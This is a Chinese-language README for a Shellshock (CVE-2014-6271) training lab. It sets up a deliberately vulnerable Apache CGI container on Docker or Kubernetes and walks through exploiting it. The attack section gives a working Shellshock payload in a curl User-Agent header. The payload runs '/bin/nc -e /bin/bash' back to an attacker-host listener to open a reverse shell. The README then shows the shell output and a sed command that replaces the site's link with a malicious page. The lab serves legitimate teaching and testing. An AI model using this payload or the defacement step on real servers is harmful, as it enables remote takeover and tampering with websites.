本仓库是 CVE-2014-6271 的 PoC 环境。
您可以使用 apache2 容器镜像部署包含该漏洞的 Web 服务。
根据 Dockerfile 构建不安全镜像。
# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/
Docker
以 docker 容器方式部署 PoC 容器。
# docker run -d -p 8080:80 training-website-poc:v1.0
Kubernetes
以 k8s Pod 和 Service 方式部署 PoC 容器。
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml
部署完成后,您可以通过浏览器访问以下 URL 来浏览网页。
您可以通过点击网页下方的“Click!”链接来访问 k8s 实验环境。
Docker
http://<docker host IP>:8080
Kubernetes
http://<k8s service endpoint>:<k8s service port>
在本演示中,您可以从攻击者主机(容器外部)利用 CVE-2014-6271 的漏洞来更改网页。
在攻击者主机上执行以下命令。
终端 1
# nc -nvlp 5050
终端 2
※在本例中,我们使用 Docker 部署 PoC 容器。如果使用 Kubernetes,URL 应为 http://<k8s service endpoint>:<k8s service port>。
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable
之后,您可以在终端 1 中看到 PoC 容器的 /bin/bash 被执行。
Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin
更改网页上的“Click!”链接。
在本例中,我们使用一个虚拟页面作为恶意链接。
sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html
再次访问网页,并点击网页下方的“Click!”链接。
http://<docker host IP>:8080
https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271